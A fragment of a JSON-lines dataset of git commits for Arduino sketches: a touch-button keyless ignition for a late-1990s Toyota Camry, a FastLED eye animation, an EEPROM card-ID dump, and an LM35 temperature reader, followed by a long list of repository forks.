Serial.flush();\n}\n\nvoid ST() {\n mode = 3;\n digitalWrite(pinACC, HIGH); \/\/ 2-3\n digitalWrite(pinIG1, LOW); \/\/ 2-4\n digitalWrite(pinIG2, LOW); \/\/ 7-6\n digitalWrite(pinST2, LOW); \/\/ 7-8\n ledShift = 128; ledAmp = 127;\n ledPeriod = 500; fadeStart = millis();\n Serial.println(\"Mode: engine start\"); Serial.flush();\n}\n\nvoid cycle() {\n mode += 1;\n switch (mode) {\n case 3:\n OFF(); break;\n case 1:\n ACC(); break;\n case 2:\n ON(); break;\n }\n}\n\nvoid loop() {\n\n uint16_t value = analogTouchRead(pinCap, 100);\n\n \/\/ Self calibrate capacitive touch\n static uint16_t ref = 0xFFFF;\n if (value < (ref >> offset))\n ref = (value << offset);\n else if (value > (ref >> offset))\n ref++;\n\n bool touched = (value - (ref >> offset)) > 100;\n\n if (touched & !pressed) {\n touchStart = millis();\n } else if (!touched & pressed) {\n if (mode == 3) {\n ON();\n } else if (millis() - touchStart < BUTTON_PRESS_THRESHOLD) {\n cycle();\n }\n }\n\n pressed = touched;\n\n if (pressed & millis() - touchStart > BUTTON_PRESS_THRESHOLD & mode != 3) {\n mode = 3;\n ST();\n }\n\n analogWrite(pinLed, ledShift + ledAmp * -cos(2 * PI \/ ledPeriod * (millis() - fadeStart)));\n\n delay(50);\n\n}\n\n","old_contents":"\/*\n\n Push Start\n Arduino-based Keyless Ignition\n for 97-01 Toyota Camry (XV20)\n Designed by Kevin Abraham\n\n*\/\n\n#include <AnalogTouch.h>\n\n#define DEBUG 0\n\n#define BUTTON_PRESS_THRESHOLD 500\n\n#define pinACC 2\n#define pinIG1 4\n#define pinIG2 7\n#define pinST2 8\n\n#define pinCap A4\n#define pinLed 10\n\n\/\/ Slow down the automatic calibration cooldown\n#define offset 2 \/\/ <= 6\n\nbyte mode = 0;\n\/\/ 0 = off\n\/\/ 1 = accesory\n\/\/ 2 = ignition on\n\/\/ 3 = engine start\n\nbool pressed = false;\nunsigned long touchStart = 0;\n\nbyte ledAmp = 0;\nbyte ledShift = 0;\nint ledPeriod = 0;\nunsigned long fadeStart = 0;\n\nvoid setup() {\n\n \/\/ Bring relay pins low as soon as possible\n digitalWrite(pinACC, HIGH);\n digitalWrite(pinIG1, HIGH);\n digitalWrite(pinIG2, HIGH);\n digitalWrite(pinST2, HIGH);\n pinMode(pinACC, OUTPUT);\n pinMode(pinIG1, OUTPUT);\n pinMode(pinIG2, OUTPUT);\n pinMode(pinST2, OUTPUT);\n\n Serial.begin(57600);\n\n Serial.println();\n Serial.println(\" Push Start \");\n Serial.println(\" Arduino-based Keyless Ignition \");\n Serial.println(\" for 97-01 Toyota Camry (XV20) \");\n Serial.println(\" Designed by Kevin Abraham \");\n Serial.println();\n\n Serial.println(\"Mode: off\");\n Serial.flush();\n\n}\n\nvoid OFF() {\n mode = 0;\n digitalWrite(pinACC, HIGH); \/\/ 2-3\n digitalWrite(pinIG1, HIGH); \/\/ 2-4\n digitalWrite(pinIG2, HIGH); \/\/ 7-6\n digitalWrite(pinST2, HIGH); \/\/ 7-8\n ledShift = 0; ledAmp = 0;\n Serial.println(\"Mode: off\"); Serial.flush();\n}\n\nvoid ACC() {\n mode = 1;\n digitalWrite(pinACC, LOW); \/\/ 2-3\n digitalWrite(pinIG1, HIGH); \/\/ 2-4\n digitalWrite(pinIG2, HIGH); \/\/ 7-6\n digitalWrite(pinST2, HIGH); \/\/ 7-8\n ledShift = 64; ledAmp = 64;\n ledPeriod = 2000; fadeStart = millis();\n Serial.println(\"Mode: accessory\"); Serial.flush();\n}\n\nvoid ON() {\n mode = 2;\n digitalWrite(pinACC, LOW); \/\/ 2-3\n digitalWrite(pinIG1, LOW); \/\/ 2-4\n digitalWrite(pinIG2, LOW); \/\/ 7-6\n digitalWrite(pinST2, HIGH); \/\/ 7-8\n ledShift = 32; ledAmp = 0;\n Serial.println(\"Mode: ignition on\"); Serial.flush();\n}\n\nvoid ST() {\n mode = 3;\n digitalWrite(pinACC, HIGH); \/\/ 2-3\n digitalWrite(pinIG1, LOW); \/\/ 2-4\n digitalWrite(pinIG2, LOW); \/\/ 7-6\n digitalWrite(pinST2, LOW); \/\/ 7-8\n ledShift = 128; ledAmp = 127;\n ledPeriod = 500; fadeStart = millis();\n Serial.println(\"Mode: engine start\"); Serial.flush();\n}\n\nvoid cycle() {\n mode += 1;\n switch (mode) {\n case 3:\n OFF(); break;\n case 1:\n ACC(); break;\n case 2:\n ON(); break;\n }\n}\n\nvoid loop() {\n\n uint16_t value = analogTouchRead(pinCap, 100);\n\n \/\/ Self calibrate capacitive touch\n static uint16_t ref = 0xFFFF;\n if (value < (ref >> offset))\n ref = (value << offset);\n else if (value > (ref >> offset))\n ref++;\n\n bool touched = (value - (ref >> offset)) > 100;\n\n if (touched & !pressed) {\n touchStart = millis();\n } else if (!touched & pressed) {\n if (mode == 3) {\n ON();\n } else if (millis() - touchStart < BUTTON_PRESS_THRESHOLD) {\n cycle();\n }\n }\n\n pressed = touched;\n\n if (pressed & millis() - touchStart > BUTTON_PRESS_THRESHOLD & mode != 3) {\n mode = 3;\n ST();\n }\n\n analogWrite(pinLed, ledShift + ledAmp * -cos(2 * PI \/ ledPeriod * (millis() - fadeStart)));\n\n delay(50);\n\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"1b3a36e4d0618a54ee874b33525fa75718946a37","subject":"Add eye","message":"Add eye\n","repos":"Eli-Woods\/arduino,Eli-Woods\/arduino,Eli-Woods\/arduino,Eli-Woods\/arduino","old_file":"proj\/RWilkins_Eye\/RWilkins_Eye.ino","new_file":"proj\/RWilkins_Eye\/RWilkins_Eye.ino","new_contents":"#include <FastLED.h>\n\n#define LED_PIN 6\n#define NUM_LEDS 16\n#define BRIGHTNESS 255\n#define RATIO 0.5\n#define LED_TYPE WS2812B\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n\n#define UPDATES_PER_SECOND 16 \n\nconst CRGBPalette16 palette = {\n CRGB::White,\n CRGB::Black,\n CRGB::White,\n CRGB::Black,\n CRGB::White,\n CRGB::Black,\n CRGB::White,\n CRGB::Black,\n CRGB::White,\n CRGB::Black,\n CRGB::White,\n CRGB::Black,\n CRGB::White,\n CRGB::Black,\n CRGB::White,\n CRGB::Black\n};\n\nvoid setup() {\n delay( 3000 ); \/\/ power-up safety delay\n FastLED.addLeds<LED_TYPE, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.setBrightness( BRIGHTNESS );\n}\n\n\nvoid loop() {\n static uint8_t index = 0; \n EVERY_N_MILLISECONDS(1000 \/ UPDATES_PER_SECOND) {\n index++; \n }\n \n fill_palette(leds, 16, index, 16, palette, BRIGHTNESS, LINEARBLEND);\n FastLED.show();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'proj\/RWilkins_Eye\/RWilkins_Eye.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"67c99d9dd78481dc54cabac83b1d1c1a171aad59","subject":"wrote a sketch to read all cards","message":"wrote a sketch to read all cards\n","repos":"gibatronic\/sesame,gibatronic\/sesame,gibatronic\/sesame","old_file":"etc\/read-cards.ino","new_file":"etc\/read-cards.ino","new_contents":"#include <Arduino.h>\n#include <EEPROM.h>\n\nvoid loop();\nvoid setup();\n\nvoid loop() {\n};\n\nvoid setup() {\n unsigned int block;\n unsigned int blocks;\n unsigned int idSize;\n\n idSize = 4;\n blocks = EEPROM.length() \/ idSize;\n\n Serial.begin(9600);\n while (!Serial);\n\n Serial.println(\"B0 B1 B2 B3 #BLOCK\");\n\n for (block = 0; block < blocks; block++) {\n unsigned int index;\n\n for (index = 0; index < idSize; index++) {\n unsigned int address = (block * idSize) + index;\n byte byte = EEPROM.read(address);\n\n if (byte < 10) {\n Serial.print(\"0\");\n }\n\n Serial.print(byte, HEX);\n\n if (index != idSize - 1) {\n Serial.print(\" \");\n }\n }\n\n Serial.print(\" #\");\n Serial.print(block);\n Serial.println(\"\");\n };\n\n Serial.end();\n};\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'etc\/read-cards.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"99493bd63448c1d522cc87d8ae9d21b732a9cbb7","subject":"Primeiro Teste","message":"Primeiro Teste\n","repos":"akafael\/sismed_termopar","old_file":"src\/arduino\/thermocoupleReader\/thermocoupleReader.ino","new_file":"src\/arduino\/thermocoupleReader\/thermocoupleReader.ino","new_contents":"\/**\n * Medida de Temperatura usando LM35 e Termopar MTK-01\n * \n * @authors Rafael, Camila, Pamella\n * @version 0.1 'Teste Leitura'\n *\/\n\n\n#define PIN_LM35 A0\n\nvoid setup() {\n \/\/ Inicia Porta Serial\n Serial.begin(9600);\n}\n\nvoid loop() {\n int temp1 = analogRead(PIN_LM35);\n Serial.println(temp1);\n\n delay(100);\n}`\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/arduino\/thermocoupleReader\/thermocoupleReader.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f4232373fdf587cc8fceccae58f167e74d748775","subject":"Added Wifi NTP client example","message":"Added Wifi NTP client example\n","repos":"chaveiro\/Arduino,EmuxEvans\/Arduino,raimohanska\/Arduino,NicoHood\/Arduino,Cloudino\/Cloudino-Arduino-IDE,noahchense\/Arduino-1,eduardocasarin\/Arduino,ForestNymph\/Arduino_sources,leftbrainstrain\/Arduino-ESP8266,ForestNymph\/Arduino_sources,rodibot\/Arduino,bugobliterator\/BUAGI,ogahara\/Arduino,01org\/Arduino,UDOOboard\/Arduino,benwolfe\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,leftbrainstrain\/Arduino-ESP8266,ikbelkirasan\/Arduino,ogahara\/Arduino,aichi\/Arduino-2,HCastano\/Arduino,ssvs111\/Arduino,gurbrinder\/Arduino,andrealmeidadomingues\/Arduino,eeijcea\/Arduino-1,smily77\/Arduino,SmartArduino\/Arduino-1,Chris--A\/Arduino,paulo-raca\/ESP8266-Arduino,ektor5\/Arduino,damellis\/Arduino,mateuszdw\/Arduino,adamkh\/Arduino,eggfly\/arduino,shannonshsu\/Arduino,wilhelmryan\/Arduino,danielchalef\/Arduino,stickbreaker\/Arduino,ogferreiro\/Arduino,jabezGit\/Arduino,Ramoonus\/Arduino,mattvenn\/Arduino,zaiexx\/Arduino,niggor\/Arduino_cc,ogferreiro\/Arduino,Chris--A\/Arduino,jaehong\/Xmegaduino,tbowmo\/Arduino,jaehong\/Xmegaduino,ThoughtWorksIoTGurgaon\/Arduino,tommyli2014\/Arduino,Gourav2906\/Arduino,mateuszdw\/Arduino,zenmanenergy\/Arduino,PaoloP74\/Arduino,sanyaade-iot\/Arduino-1,pdNor\/Arduino,wilhelmryan\/Arduino,aichi\/Arduino-2,adamkh\/Arduino,lukeWal\/Arduino,linino\/Arduino,NeuralSpaz\/Arduino,myrtleTree33\/Arduino,garci66\/Arduino,sanyaade-iot\/Arduino-1,eggfly\/arduino,NeuralSpaz\/Arduino,bigjosh\/Arduino,wdoganowski\/Arduino,adafruit\/ESP8266-Arduino,gestrem\/Arduino,Chris--A\/Arduino,spapadim\/Arduino,lulufei\/Arduino,benwolfe\/esp8266-Arduino,drpjk\/Arduino,eddyst\/Arduino-SourceCode,Cloudino\/Arduino,UDOOboard\/Arduino,kidswong999\/Arduino,linino\/Arduino,acosinwork\/Arduino,eddyst\/Arduino-SourceCode,ccoenen\/Arduino,jomolinare\/Arduino,nandojve\/Arduino,jabezGit\/Arduino,ntruchsess\/Arduino-1,niggor\/Arduino_cc,tannewt\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tomkrus007\/Arduino,steamboating\/Arduino,wdoganowski\/Arduino,sanyaade-iot\/Arduino-1,gurbrinder\/Arduino,Protoneer\/Arduino,wdoganowski\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,byran\/Arduino,mateuszdw\/Arduino,jomolinare\/Arduino,drpjk\/Arduino,Ramoonus\/Arduino,jmgonzalez00449\/Arduino,adamkh\/Arduino,mangelajo\/Arduino,niggor\/Arduino_cc,tskurauskas\/Arduino,arunkuttiyara\/Arduino,tbowmo\/Arduino,ForestNymph\/Arduino_sources,PeterVH\/Arduino,jmgonzalez00449\/Arduino,wayoda\/Arduino,Cloudino\/Arduino,garci66\/Arduino,bigjosh\/Arduino,ikbelkirasan\/Arduino,xxxajk\/Arduino-1,onovy\/Arduino,talhaburak\/Arduino,paulmand3l\/Arduino,nandojve\/Arduino,adamkh\/Arduino,ForestNymph\/Arduino_sources,stevemarple\/Arduino-org,zederson\/Arduino,linino\/Arduino,odbol\/Arduino,fungxu\/Arduino,tomkrus007\/Arduino,eduardocasarin\/Arduino,zederson\/Arduino,koltegirish\/Arduino,jaimemaretoli\/Arduino,tommyli2014\/Arduino,Cloudino\/Arduino,toddtreece\/esp8266-Arduino,spapadim\/Arduino,ricklon\/Arduino,NaSymbol\/Arduino,kidswong999\/Arduino,me-no-dev\/Arduino-1,shiitakeo\/Arduino,sanyaade-iot\/Arduino-1,ForestNymph\/Arduino_sources,mattvenn\/Arduino,stickbreaker\/Arduino,Cloudino\/Arduino,jabezGit\/Arduino,onovy\/Arduino,mateuszdw\/Arduino,superboonie\/Arduino,ogferreiro\/Arduino,ricklon\/Arduino,arduino-org\/Arduino,majenkotech\/Arduino,weera00\/Arduino,ektor5\/Arduino,me-no-dev\/Arduino-1,SmartArduino\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,superboonie\/Arduino,zaiexx\/Arduino,Protoneer\/Arduino,raimohanska\/Arduino,talhaburak\/Arduino,NeuralSpaz\/Arduino,vbextreme\/Arduino,shannonshsu\/Arduino,niggor\/Arduino_cc,PeterVH\/Arduino,ms-iot\/Arduino,PeterVH\/Arduino,mc-hamster\/esp8266-Arduino,garci66\/Arduino,HCastano\/Arduino,byran\/Arduino,UDOOboard\/Arduino,acosinwork\/Arduino,ari-analytics\/Arduino,nkolban\/Arduino,radut\/Arduino,superboonie\/Arduino,rcook\/DesignLab,jaimemaretoli\/Arduino,damellis\/Arduino,talhaburak\/Arduino,stevemayhew\/Arduino,drpjk\/Arduino,tskurauskas\/Arduino,mboufos\/esp8266-Arduino,ektor5\/Arduino,wayoda\/Arduino,ms-iot\/Arduino,xxxajk\/Arduino-1,eeijcea\/Arduino-1,plaintea\/esp8266-Arduino,jaehong\/Xmegaduino,ogahara\/Arduino,talhaburak\/Arduino,koltegirish\/Arduino,lulufei\/Arduino,gberl001\/Arduino,ektor5\/Arduino,nkolban\/Arduino,lukeWal\/Arduino,danielchalef\/Arduino,myrtleTree33\/Arduino,radut\/Arduino,shannonshsu\/Arduino,scdls\/Arduino,ntruchsess\/Arduino-1,NicoHood\/Arduino,majenkotech\/Arduino,NicoHood\/Arduino,scdls\/Arduino,ricklon\/Arduino,weera00\/Arduino,tbowmo\/Arduino,stevemayhew\/Arduino,gonium\/Arduino,ssvs111\/Arduino,zederson\/Arduino,henningpohl\/Arduino,steamboating\/Arduino,andrealmeidadomingues\/Arduino,gonium\/Arduino,koltegirish\/Arduino,damellis\/Arduino,superboonie\/Arduino,ikbelkirasan\/Arduino,damellis\/Arduino,eggfly\/arduino,plinioseniore\/Arduino,chaveiro\/Arduino,Alfredynho\/AgroSis,smily77\/Arduino,bigjosh\/Arduino,me-no-dev\/Arduino-1,jabezGit\/Arduino,stevemarple\/Arduino-org,byran\/Arduino,jabezGit\/Arduino,pdNor\/Arduino,snargledorf\/Arduino,snargledorf\/Arduino,ssvs111\/Arduino,gberl001\/Arduino,drpjk\/Arduino,acosinwork\/Arduino,lukeWal\/Arduino,stevemarple\/Arduino-org,Gourav2906\/Arduino,OpenDevice\/Arduino,bigjosh\/Arduino,nandojve\/Arduino,onovy\/Arduino,bsmr-arduino\/Arduino,leftbrainstrain\/Arduino-ESP8266,scdls\/Arduino,benwolfe\/esp8266-Arduino,stevemarple\/Arduino-org,snargledorf\/Arduino,onovy\/Arduino,mattvenn\/Arduino,drpjk\/Arduino,benwolfe\/esp8266-Arduino,tskurauskas\/Arduino,mateuszdw\/Arduino,stevemarple\/Arduino-org,NicoHood\/Arduino,Alfredynho\/AgroSis,jmgonzalez00449\/Arduino,byran\/Arduino,piersoft\/esp8266-Arduino,raimohanska\/Arduino,OpenDevice\/Arduino,PeterVH\/Arduino,rcook\/DesignLab,lukeWal\/Arduino,shannonshsu\/Arduino,wayoda\/Arduino,odbol\/Arduino,karlitxo\/Arduino,karlitxo\/Arduino,zaiexx\/Arduino,tskurauskas\/Arduino,vbextreme\/Arduino,superboonie\/Arduino,ms-iot\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,fungxu\/Arduino,ntruchsess\/Arduino-1,PaintYourDragon\/Arduino,jaej-dev\/Arduino,jomolinare\/Arduino,majenkotech\/Arduino,henningpohl\/Arduino,xxxajk\/Arduino-1,andrealmeidadomingues\/Arduino,bsmr-arduino\/Arduino,gberl001\/Arduino,damellis\/Arduino,nandojve\/Arduino,OpenDevice\/Arduino,andyvand\/Arduino-1,odbol\/Arduino,mateuszdw\/Arduino,rcook\/DesignLab,fungxu\/Arduino,ccoenen\/Arduino,noahchense\/Arduino-1,tomkrus007\/Arduino,acosinwork\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,wilhelmryan\/Arduino,plaintea\/esp8266-Arduino,wilhelmryan\/Arduino,arduino-org\/Arduino,lukeWal\/Arduino,acosinwork\/Arduino,noahchense\/Arduino-1,wilhelmryan\/Arduino,tbowmo\/Arduino,NaSymbol\/Arduino,spapadim\/Arduino,odbol\/Arduino,mboufos\/esp8266-Arduino,jamesrob4\/Arduino,jamesrob4\/Arduino,cscenter\/Arduino,mattvenn\/Arduino,andyvand\/Arduino-1,koltegirish\/Arduino,Protoneer\/Arduino,gonium\/Arduino,zaiexx\/Arduino,jomolinare\/Arduino,arunkuttiyara\/Arduino,zederson\/Arduino,Gourav2906\/Arduino,jaej-dev\/Arduino,ogferreiro\/Arduino,spapadim\/Arduino,karlitxo\/Arduino,eduardocasarin\/Arduino,KlaasDeNys\/Arduino,PeterVH\/Arduino,steamboating\/Arduino,NeuralSpaz\/Arduino,ricklon\/Arduino,vbextreme\/Arduino,gurbrinder\/Arduino,chaveiro\/Arduino,danielchalef\/Arduino,plaintea\/esp8266-Arduino,wdoganowski\/Arduino,rodibot\/Arduino,henningpohl\/Arduino,garci66\/Arduino,shannonshsu\/Arduino,byran\/Arduino,aichi\/Arduino-2,OpenDevice\/Arduino,paulo-raca\/ESP8266-Arduino,snargledorf\/Arduino,sanyaade-iot\/Arduino-1,ms-iot\/Arduino,spapadim\/Arduino,smily77\/Arduino,sanyaade-iot\/Arduino-1,KlaasDeNys\/Arduino,gestrem\/Arduino,cscenter\/Arduino,Orthogonal-Systems\/arduino-libs,henningpohl\/Arduino,adamkh\/Arduino,UDOOboard\/Arduino,zenmanenergy\/Arduino,ashwin713\/Arduino,tbowmo\/Arduino,laylthe\/Arduino,smily77\/Arduino,arunkuttiyara\/Arduino,NeuralSpaz\/Arduino,tbowmo\/Arduino,fungxu\/Arduino,gonium\/Arduino,arduino-org\/Arduino,eeijcea\/Arduino-1,tannewt\/Arduino,ashwin713\/Arduino,steamboating\/Arduino,arduino-org\/Arduino,xxxajk\/Arduino-1,jamesrob4\/Arduino,linino\/Arduino,ashwin713\/Arduino,eddyst\/Arduino-SourceCode,ccoenen\/Arduino,ntruchsess\/Arduino-1,me-no-dev\/Arduino-1,bsmr-arduino\/Arduino,Orthogonal-Systems\/arduino-libs,PaoloP74\/Arduino,vbextreme\/Arduino,koltegirish\/Arduino,wayoda\/Arduino,mc-hamster\/esp8266-Arduino,Alfredynho\/AgroSis,drpjk\/Arduino,Ramoonus\/Arduino,ms-iot\/Arduino,lukeWal\/Arduino,NicoHood\/Arduino,HCastano\/Arduino,gurbrinder\/Arduino,xxxajk\/Arduino-1,chaveiro\/Arduino,jomolinare\/Arduino,xxxajk\/Arduino-1,ashwin713\/Arduino,steamboating\/Arduino,arunkuttiyara\/Arduino,jmgonzalez00449\/Arduino,paulo-raca\/ESP8266-Arduino,PeterVH\/Arduino,ssvs111\/Arduino,niggor\/Arduino_cc,spapadim\/Arduino,adamkh\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jmgonzalez00449\/Arduino,paulo-raca\/ESP8266-Arduino,championswimmer\/Arduino,jmgonzalez00449\/Arduino,gonium\/Arduino,nandojve\/Arduino,gurbrinder\/Arduino,talhaburak\/Arduino,bsmr-arduino\/Arduino,laylthe\/Arduino,ccoenen\/Arduino,jamesrob4\/Arduino,Alfredynho\/AgroSis,mboufos\/esp8266-Arduino,myrtleTree33\/Arduino,zenmanenergy\/Arduino,stevemayhew\/Arduino,mattvenn\/Arduino,paulo-raca\/ESP8266-Arduino,scdls\/Arduino,niggor\/Arduino_cc,paulo-raca\/ESP8266-Arduino,ForestNymph\/Arduino_sources,eddyst\/Arduino-SourceCode,stickbreaker\/Arduino,andrealmeidadomingues\/Arduino,paulmand3l\/Arduino,zenmanenergy\/Arduino,xxxajk\/Arduino-1,andyvand\/Arduino-1,mc-hamster\/esp8266-Arduino,piersoft\/esp8266-Arduino,me-no-dev\/Arduino-1,eeijcea\/Arduino-1,NicoHood\/Arduino,byran\/Arduino,tommyli2014\/Arduino,benwolfe\/esp8266-Arduino,jaehong\/Xmegaduino,ccoenen\/Arduino,Cloudino\/Arduino,EmuxEvans\/Arduino,lulufei\/Arduino,raimohanska\/Arduino,Protoneer\/Arduino,tommyli2014\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,cscenter\/Arduino,shiitakeo\/Arduino,xxxajk\/Arduino-1,probonopd\/Arduino,ccoenen\/Arduino,stickbreaker\/Arduino,Ramoonus\/Arduino,tskurauskas\/Arduino,plinioseniore\/Arduino,niggor\/Arduino_cc,leftbrainstrain\/Arduino-ESP8266,eddyst\/Arduino-SourceCode,KlaasDeNys\/Arduino,gurbrinder\/Arduino,Alfredynho\/AgroSis,jaej-dev\/Arduino,01org\/Arduino,gonium\/Arduino,Chris--A\/Arduino,piersoft\/esp8266-Arduino,weera00\/Arduino,ogahara\/Arduino,steamboating\/Arduino,ashwin713\/Arduino,probonopd\/Arduino,zederson\/Arduino,ntruchsess\/Arduino-1,jmgonzalez00449\/Arduino,radut\/Arduino,arduino-org\/Arduino,tomkrus007\/Arduino,nandojve\/Arduino,wdoganowski\/Arduino,leftbrainstrain\/Arduino-ESP8266,spapadim\/Arduino,garci66\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ari-analytics\/Arduino,laylthe\/Arduino,01org\/Arduino,paulmand3l\/Arduino,01org\/Arduino,jaehong\/Xmegaduino,bugobliterator\/BUAGI,sanyaade-iot\/Arduino-1,aichi\/Arduino-2,jamesrob4\/Arduino,jaej-dev\/Arduino,nkolban\/Arduino,paulmand3l\/Arduino,jaej-dev\/Arduino,andyvand\/Arduino-1,HCastano\/Arduino,ogferreiro\/Arduino,HCastano\/Arduino,eggfly\/arduino,andrealmeidadomingues\/Arduino,tbowmo\/Arduino,arduino-org\/Arduino,jomolinare\/Arduino,acosinwork\/Arduino,NicoHood\/Arduino,bsmr-arduino\/Arduino,ntruchsess\/Arduino-1,smily77\/Arduino,jaimemaretoli\/Arduino,nkolban\/Arduino,SmartArduino\/Arduino-1,gestrem\/Arduino,tannewt\/Arduino,tomkrus007\/Arduino,SmartArduino\/Arduino-1,weera00\/Arduino,plinioseniore\/Arduino,gestrem\/Arduino,mboufos\/esp8266-Arduino,ogahara\/Arduino,majenkotech\/Arduino,jomolinare\/Arduino,bsmr-arduino\/Arduino,jaej-dev\/Arduino,ari-analytics\/Arduino,Orthogonal-Systems\/arduino-libs,henningpohl\/Arduino,eeijcea\/Arduino-1,onovy\/Arduino,majenkotech\/Arduino,jabezGit\/Arduino,me-no-dev\/Arduino-1,zaiexx\/Arduino,OpenDevice\/Arduino,wayoda\/Arduino,steamboating\/Arduino,tommyli2014\/Arduino,stevemarple\/Arduino-org,superboonie\/Arduino,tskurauskas\/Arduino,eggfly\/arduino,PaintYourDragon\/Arduino,Gourav2906\/Arduino,jaimemaretoli\/Arduino,majenkotech\/Arduino,bigjosh\/Arduino,tbowmo\/Arduino,jaimemaretoli\/Arduino,odbol\/Arduino,acosinwork\/Arduino,talhaburak\/Arduino,plinioseniore\/Arduino,ikbelkirasan\/Arduino,jmgonzalez00449\/Arduino,paulmand3l\/Arduino,Gourav2906\/Arduino,koltegirish\/Arduino,tskurauskas\/Arduino,cscenter\/Arduino,PaoloP74\/Arduino,NeuralSpaz\/Arduino,cscenter\/Arduino,pdNor\/Arduino,superboonie\/Arduino,PeterVH\/Arduino,scdls\/Arduino,snargledorf\/Arduino,byran\/Arduino,aichi\/Arduino-2,ari-analytics\/Arduino,damellis\/Arduino,andyvand\/Arduino-1,radut\/Arduino,pdNor\/Arduino,leftbrainstrain\/Arduino-ESP8266,eddyst\/Arduino-SourceCode,PaintYourDragon\/Arduino,Gourav2906\/Arduino,gberl001\/Arduino,myrtleTree33\/Arduino,lulufei\/Arduino,bigjosh\/Arduino,zenmanenergy\/Arduino,Chris--A\/Arduino,koltegirish\/Arduino,arunkuttiyara\/Arduino,OpenDevice\/Arduino,bigjosh\/Arduino,NaSymbol\/Arduino,jaimemaretoli\/Arduino,UDOOboard\/Arduino,scdls\/Arduino,ms-iot\/Arduino,ogferreiro\/Arduino,gonium\/Arduino,tomkrus007\/Arduino,eggfly\/arduino,tommyli2014\/Arduino,shiitakeo\/Arduino,kidswong999\/Arduino,vbextreme\/Arduino,fungxu\/Arduino,PaintYourDragon\/Arduino,weera00\/Arduino,Alfredynho\/AgroSis,KlaasDeNys\/Arduino,HCastano\/Arduino,wayoda\/Arduino,lulufei\/Arduino,Protoneer\/Arduino,PaintYourDragon\/Arduino,ikbelkirasan\/Arduino,shiitakeo\/Arduino,raimohanska\/Arduino,OpenDevice\/Arduino,stevemayhew\/Arduino,wdoganowski\/Arduino,jamesrob4\/Arduino,rodibot\/Arduino,ntruchsess\/Arduino-1,ssvs111\/Arduino,ektor5\/Arduino,nkolban\/Arduino,kidswong999\/Arduino,fungxu\/Arduino,stickbreaker\/Arduino,ricklon\/Arduino,shannonshsu\/Arduino,EmuxEvans\/Arduino,EmuxEvans\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jaehong\/Xmegaduino,piersoft\/esp8266-Arduino,mc-hamster\/esp8266-Arduino,arduino-org\/Arduino,adafruit\/ESP8266-Arduino,mangelajo\/Arduino,NaSymbol\/Arduino,talhaburak\/Arduino,lulufei\/Arduino,Protoneer\/Arduino,gberl001\/Arduino,adafruit\/ESP8266-Arduino,drpjk\/Arduino,EmuxEvans\/Arduino,Ramoonus\/Arduino,plaintea\/esp8266-Arduino,pdNor\/Arduino,ccoenen\/Arduino,cscenter\/Arduino,kidswong999\/Arduino,kidswong999\/Arduino,Gourav2906\/Arduino,adafruit\/ESP8266-Arduino,weera00\/Arduino,rcook\/DesignLab,paulmand3l\/Arduino,01org\/Arduino,championswimmer\/Arduino,ari-analytics\/Arduino,championswimmer\/Arduino,zaiexx\/Arduino,myrtleTree33\/Arduino,PaoloP74\/Arduino,me-no-dev\/Arduino-1,gberl001\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,stevemayhew\/Arduino,niggor\/Arduino_cc,stickbreaker\/Arduino,Chris--A\/Arduino,wilhelmryan\/Arduino,aichi\/Arduino-2,Cloudino\/Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,jaimemaretoli\/Arduino,radut\/Arduino,laylthe\/Arduino,karlitxo\/Arduino,eduardocasarin\/Arduino,smily77\/Arduino,SmartArduino\/Arduino-1,andrealmeidadomingues\/Arduino,cscenter\/Arduino,ccoenen\/Arduino,snargledorf\/Arduino,lukeWal\/Arduino,EmuxEvans\/Arduino,jaej-dev\/Arduino,vbextreme\/Arduino,probonopd\/Arduino,lulufei\/Arduino,danielchalef\/Arduino,plinioseniore\/Arduino,noahchense\/Arduino-1,ogferreiro\/Arduino,mboufos\/esp8266-Arduino,shannonshsu\/Arduino,byran\/Arduino,andrealmeidadomingues\/Arduino,acosinwork\/Arduino,eddyst\/Arduino-SourceCode,PaoloP74\/Arduino,jaehong\/Xmegaduino,wayoda\/Arduino,NaSymbol\/Arduino,bugobliterator\/BUAGI,raimohanska\/Arduino,ricklon\/Arduino,lukeWal\/Arduino,ari-analytics\/Arduino,andyvand\/Arduino-1,nkolban\/Arduino,Gourav2906\/Arduino,rodibot\/Arduino,bugobliterator\/BUAGI,danielchalef\/Arduino,probonopd\/Arduino,majenkotech\/Arduino,jabezGit\/Arduino,danielchalef\/Arduino,pdNor\/Arduino,scdls\/Arduino,raimohanska\/Arduino,HCastano\/Arduino,chaveiro\/Arduino,zenmanenergy\/Arduino,probonopd\/Arduino,toddtreece\/esp8266-Arduino,bugobliterator\/BUAGI,EmuxEvans\/Arduino,wdoganowski\/Arduino,gestrem\/Arduino,zaiexx\/Arduino,stevemayhew\/Arduino,stickbreaker\/Arduino,odbol\/Arduino,kidswong999\/Arduino,Chris--A\/Arduino,kidswong999\/Arduino,chaveiro\/Arduino,ricklon\/Arduino,garci66\/Arduino,championswimmer\/Arduino,garci66\/Arduino,vbextreme\/Arduino,tannewt\/Arduino,vbextreme\/Arduino,PaoloP74\/Arduino,chaveiro\/Arduino,tannewt\/Arduino,chaveiro\/Arduino,pdNor\/Arduino,eeijcea\/Arduino-1,wilhelmryan\/Arduino,bigjosh\/Arduino,rodibot\/Arduino,Cloudino\/Arduino,weera00\/Arduino,championswimmer\/Arduino,SmartArduino\/Arduino-1,smily77\/Arduino,adamkh\/Arduino,nando